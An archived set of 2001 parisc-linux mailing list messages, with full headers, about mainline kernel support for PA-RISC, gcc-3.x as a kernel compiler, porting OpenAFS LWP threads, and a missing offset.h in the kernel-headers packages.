List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13138

Hi,

I'm just curious what the state of the PA-RISC support of the
official linux kernel is (2.4.14 from kernel.org).

IMHO I assume that the latest Linux/PA-RISC progress didn't and won't
make it in the official linux kernel tree (at least not soon), am I right ?
(I don't see any hppa changes in the kernel-Changelogs at all)

Probably due to the fact that Linux/PA-RISC is still somewhat
experimental and probably some design issues are not fixed yet.
Are there any plans to integrate the lastest stuff into the
linux main tree (soon) ?

What about gcc, gdb, glibc and binutils ? How long do you think does it
take to get the current fixes/patches into a release ?

AFAIK RedHat/Cygnus supports/maintains gcc, gdb, glibc and binutils.
Are there (usually) any problems to get the patches/fixes (of gcc, gdb,
...) into a official release ? How good is the cooperation with the main
developers of these tools/libraries ? RedHat doesn't seem to be interested
in an Linux/PA-RISC port and debian is something like a competitor ...

Just curious,
  max




From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: Porting LWP
Date: Mon, 19 Nov 2001 13:44:45 -0600
Lines: 72
Approved: news@gmane.org
Message-ID: <E8139C9A62384F49A7EBF9CCCD2243C101968B@umr-mail2.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620781 30560 80.91.229.3 (22 Nov 2014 01:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:21 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 12:44:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D5D3601C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 12:44:53 -0700 (MST)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id fAJJipEG027134; Mon, 19 Nov 2001 13:44:51 -0600
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <W9XPSP39>; Mon, 19 Nov 2001 13:44:51 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13139

Anyone have any thoughts on this? In particular the question about whether
setjmp/longjmp preserve the stack. 

When I try to have the code use ucontext (getcontext/setcontext) instead, it
gets complaints from glibc about setcontext/getcontext being unimplemented.

Is parisc linux more like ia64 or x86? I'd presume that I might just have to
use the ucontext stuff, but that's going to be difficult if libc doesn't
support it.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


-----Original Message-----
From: chas williams [mailto:chas@cmf.nrl.navy.mil] 
Sent: Monday, November 19, 2001 1:11 PM
To: Neulinger, Nathan
Subject: Re: Porting LWP 


>I know you've been involved with alot of the previous porting efforts in
>AFS. I was hoping you could give some tips on porting LWP.

just a few really, not really that many.

>I've been doing some work trying to get openafs functional on
>parisc_linux24, but LWP definately appears to be the problem at this point.
>(Note, openafs fully compiles, but anything using threads fails.)

lwp is probably the most difficult part of userland.  it truly is
a serious pain.  it would be nice if someone made lwp just use pthreads.
however, its just a gleam in someones eye for now.

>I did get the LWP_SP stuff corrected, had some trouble with that at first,
>but am not sure where else to concentrate on. I generally get segmentation
>faults on everything in savecontext.

the last time i worked on a parisc system i noted that that the 
stack grew UP and not down.  parisc might do the same.  the linux
swp code assumes that the stack grows down (atleast i am pretty sure
it does)

you usually can verify which way the stack goes with something like
the following

sub()
{
	int stack2;
	printf("%x\n", &stack2);
}

main()
{
	int stack1;
	printf("%x\n", &stack1);
	sub();
}

if stack grows up, stack2 is greater than stack1.  if stack grows down,
stack2 less than stack1.  (or so i think)

other than that, parisc might need more space saved on the stack.
you should also make sure you setjmp/longjmp preserve the stack info
(check any comments in the glibc source).  it doesnt on the ia64 and
i had to use ucontext() instead.



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.x and the kernel
Date: Mon, 19 Nov 2001 19:55:28 +0000 (GMT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0111191946450.11606-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620781 30561 80.91.229.3 (22 Nov 2014 01:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 12:55:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17A87482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 12:55:09 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id TAA13856
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 19:55:28 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13140

Hi,

I'm a little bit confused.

Some ports (such as parisc, sparc, sparc64 ...) use gcc-3.x in their
distributions, even to compile the linux kernel.
IMHO they use the lastest gcc since it has better support and more recent
bug fixes for the according platforms.
But I've read that gcc-3.0.x is not officially supported as a kernel
compiler, since is still has some bugs. Are these bugs just x86 related
(I doubt it) or do you accept the risk that gcc might produce garbage ?
Does this actually happen ?

greetings max





From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.x and the kernel
Date: Mon, 19 Nov 2001 11:59:31 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20011119115931.P3053@tausq.org>
References: <Pine.OSF.4.41.0111191946450.11606-100000@student.cs.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620782 30564 80.91.229.3 (22 Nov 2014 01:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 13:00:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0255D4831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 13:00:05 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vybcjaaa for parisc-linux@lists.parisc-linux.org; Mon, 19 Nov 2001 12:55:00 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 165uZn-0006z6-00; Mon, 19 Nov 2001 11:59:31 -0800
Content-Disposition: inline
In-Reply-To: <Pine.OSF.4.41.0111191946450.11606-100000@student.cs.ucc.ie>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13141

> Some ports (such as parisc, sparc, sparc64 ...) use gcc-3.x in their
> distributions, even to compile the linux kernel.
> IMHO they use the lastest gcc since it has better support and more recent
> bug fixes for the according platforms.
> But I've read that gcc-3.0.x is not officially supported as a kernel
> compiler, since is still has some bugs. Are these bugs just x86 related
> (I doubt it) or do you accept the risk that gcc might produce garbage ?
> Does this actually happen ?

gcc 3.0.2 is officially released by the FSF. We have been using it for
building both kernel and user space apps for some time. While there are
still some occasional bugs, in general it seems to be working well.

afaik the 3.x compilers are the only ones available for parisc-linux.
There are no 2.9x compilers for this platform.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of official Linux kernel
Date: Mon, 19 Nov 2001 12:03:56 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20011119120355.Q3053@tausq.org>
References: <Pine.OSF.4.41.0111191911120.11606-100000@student.cs.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620782 30566 80.91.229.3 (22 Nov 2014 01:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 13:04:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FC094831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 13:04:13 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id gaccjaaa for parisc-linux@lists.parisc-linux.org; Mon, 19 Nov 2001 12:59:08 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 165ue4-0006zg-00; Mon, 19 Nov 2001 12:03:56 -0800
Content-Disposition: inline
In-Reply-To: <Pine.OSF.4.41.0111191911120.11606-100000@student.cs.ucc.ie>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13142

> I'm just curious what the state of the PA-RISC support of the
> official linux kernel is (2.4.14 from kernel.org).

2.4.14 kernel images are now available from the Debian archive. It is
also available from parisc-linux cvs.

I'm not sure what's the status of merging into the main tree though.

> What about gcc, gdb, glibc and binutils ? How long do you think does it
> take to get the current fixes/patches into a release ?

We work with folks that are "upstream" for these tools to incorporate
parisc specific changes into the mainline sources. Other than gdb I
believe we have very little debian/parisc specific patches.

> AFAIK RedHat/Cygnus supports/maintains gcc, gdb, glibc and binutils.
> Are there (usually) any problems to get the patches/fixes (of gcc, gdb,
> ...) into a official release ? How good is the cooperation with the main
> developers of these tools/libraries ? RedHat doesn't seem to be interested
> in an Linux/PA-RISC port and debian is something like a competitor ...

Without guessing about any political issues, I'd say that upstream has
been very cooperative in general in accepting parisc-linux port changes.
I'm not sure why you think this is/will be otherwise.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of official Linux kernel
Date: Mon, 19 Nov 2001 21:13:49 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20011119211349.A19479@alpha.of.nowhere>
References: <Pine.OSF.4.41.0111191911120.11606-100000@student.cs.ucc.ie>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620782 30569 80.91.229.3 (22 Nov 2014 01:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 13:15:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id B89C4482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 13:15:38 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAJKFWn7044216
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 21:15:36 +0100 (CET)
Original-Received: (qmail 13261 invoked from network); 19 Nov 2001 20:13:52 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 19 Nov 2001 20:13:52 -0000
Original-Received: (qmail 23128 invoked by uid 1000); 19 Nov 2001 20:13:49 -0000
Content-Disposition: inline
In-Reply-To: <Pine.OSF.4.41.0111191911120.11606-100000@student.cs.ucc.ie>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13143

On Mon, Nov 19, 2001 at 07:40:28PM +0000, Markus Grabert wrote:
> Hi,
> 
> I'm just curious what the state of the PA-RISC support of the
> official linux kernel is (2.4.14 from kernel.org).
> 
> IMHO I assume that the latest Linux/PA-RISC progress didn't and won't
> make it in the official linux kernel tree (at least not soon), am I right ?
> (I don't see any hppa changes in the kernel-Changelogs at all)

Not while there are multiple changes per day - anyone with a parisc
machine tracks the parisc-kernel anyway, so what would be the point?

> 
> Probably due to the fact that Linux/PA-RISC is still somewhat
> experimental and probably some design issues are not fixed yet.
> Are there any plans to integrate the lastest stuff into the
> linux main tree (soon) ?

I gather there's more use in fixing bugs than merging. Also see above.

> 
> What about gcc, gdb, glibc and binutils ? How long do you think does it
> take to get the current fixes/patches into a release ?

There's some tough bugs at the moment, and I hope that after those are
squashed our hard-working developers will have the time to concentrate
on the kernel, with a relatively stable parisc development userland.

> 
> AFAIK RedHat/Cygnus supports/maintains gcc, gdb, glibc and binutils.
> Are there (usually) any problems to get the patches/fixes (of gcc, gdb,
> ...) into a official release ? How good is the cooperation with the main
> developers of these tools/libraries ? RedHat doesn't seem to be interested
> in an Linux/PA-RISC port and debian is something like a competitor ...
> 
You can't be serious. Debian/parisc is no competitior of RedHat. I
assume there would be no problem getting fixes in if they are the right
fixes. At this moment, I haven't seen a clear email saying: 'all bugs in
the development tools have been found, go forth and apt-get update!'.

Good luck,
Jurriaan
-- 
IBM: I'm Beyond Mistakes
GNU/Linux 2.4.15-pre6 on Debian/Alpha 64-bits 988 bogomips load:0.15 0.53 0.61



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa kernel-headers.deb and offset.h
Date: Mon, 19 Nov 2001 21:08:11 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20011119210811.E11431@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620783 30570 80.91.229.3 (22 Nov 2014 01:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bdale@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 14:06:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93232482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 14:06:18 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7BA51B00C; Mon, 19 Nov 2001 21:08:11 +0000 (GMT)
X-Mailer: Mutt 1.0us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13144

Hi Bdale,
  Our kernel-headers debs are missing asm/offset.h, which is created
late on in a kernel build.  I only just noticed, when I tried to build
gdb.  I'm guessing that deb is created without doing a full kernel build,
so the file isn't created.  Note offset.h is different for 32 and 64 bit
kernels, and we want a 32 bit version in the kernel-headers deb.

Maybe the kernel should build offset.h as part of make dep, or something.

Also...
glibc build should use kernel-headers, but I guess libc6-dev_2.2.4-6
was built using some local kernel tree for the headers, and has picked
up a 64 bit offset.h.  so, anyone trying to build gdb will have to
replace their offset.h.

Richard




From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.x and the kernel
Date: Mon, 19 Nov 2001 21:34:36 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E165w3o-0007mB-00@the-village.bc.nu>
References: <Pine.OSF.4.41.0111191946450.11606-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620783 30575 80.91.229.3 (22 Nov 2014 01:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@student.cs.ucc.ie (Markus Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 14:27:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B672482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 14:27:04 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 165w3o-0007mB-00; Mon, 19 Nov 2001 21:34:36 +0000
In-Reply-To: <Pine.OSF.4.41.0111191946450.11606-100000@student.cs.ucc.ie> from "Markus Grabert" at Nov 19, 2001 07:55:28 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13145

> But I've read that gcc-3.0.x is not officially supported as a kernel
> compiler, since is still has some bugs. Are these bugs just x86 related
> (I doubt it) or do you accept the risk that gcc might produce garbage ?

The advice is basically x86 - for example gcc 3.0.1 gives a compiler error
trying to build some 2.4 drivers right now. With the ports it varies - the
parisc tree uses its own compiler chain based on gcc 3.



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: Porting LWP
Date: Mon, 19 Nov 2001 21:51:48 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20011119215148.D1835@parcelfarce.linux.theplanet.co.uk>
References: <E8139C9A62384F49A7EBF9CCCD2243C101968B@umr-mail2.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620783 30582 80.91.229.3 (22 Nov 2014 01:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:23 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 14:51:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09F00482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 14:51:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 165wKS-0000AQ-00; Mon, 19 Nov 2001 21:51:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E8139C9A62384F49A7EBF9CCCD2243C101968B@umr-mail2.umr.edu>; from nneul@umr.edu on Mon, Nov 19, 2001 at 01:44:45PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13146

On Mon, Nov 19, 2001 at 01:44:45PM -0600, Neulinger, Nathan wrote:
> Anyone have any thoughts on this? In particular the question about whether
> setjmp/longjmp preserve the stack. 

It ought to... it's just a function call, IIRC.

